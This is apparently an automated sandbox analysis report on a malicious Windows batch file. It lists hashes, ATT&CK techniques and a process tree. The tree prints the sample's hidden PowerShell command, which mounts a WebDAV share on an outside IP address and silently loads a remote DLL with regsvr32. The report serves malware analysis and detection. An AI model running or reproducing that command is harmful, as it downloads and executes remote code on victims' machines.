e4d5f98ff983b4917127034877fdda4a1187726ece2f309f50322d7c4f846af8

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 02:34

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General

Target

191176442074510444.bat
Size

18KB
MD5

5a764eb6d4d537ff11250efb5770e62b
SHA1

559455e898f916b34c1fc75f302835b8c924b756
SHA256

e4d5f98ff983b4917127034877fdda4a1187726ece2f309f50322d7c4f846af8
SHA512

490efc03ba65e2fdcce22431aaf4fdc58b2210a4f0e732d89ecf20f9c64d0b02d6ba2e10a9d2338fc02fd53afec0da3fe568aea1de5e6dedf8ea7cda12a29d6b
SSDEEP

384:I3h/eQJXOWKDXh3VC3fytjgSKdpSeC+4ZwQEbBMoNwWK+5gMJ:l8Xnl6aSK3SeC+4KQABMUwd+j

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1308	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1308	powershell.exe
1308	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4992	wordpad.exe
4992	wordpad.exe
4992	wordpad.exe
4992	wordpad.exe
4992	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 4992	2428	cmd.exe	87
PID 2428 wrote to memory of 4992	2428	cmd.exe	87
PID 2428 wrote to memory of 1308	2428	cmd.exe	89
PID 2428 wrote to memory of 1308	2428	cmd.exe	89
PID 1308 wrote to memory of 1804	1308	powershell.exe	91
PID 1308 wrote to memory of 1804	1308	powershell.exe	91
PID 1308 wrote to memory of 4700	1308	powershell.exe	92
PID 1308 wrote to memory of 4700	1308	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\191176442074510444.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\747832556940.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1804
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\747832556940.dll
    3⤵
    PID:4700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kb52gbo4.m14.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1308-5-0x00000298F9F90000-0x00000298F9FB2000-memory.dmp

Filesize
136KB

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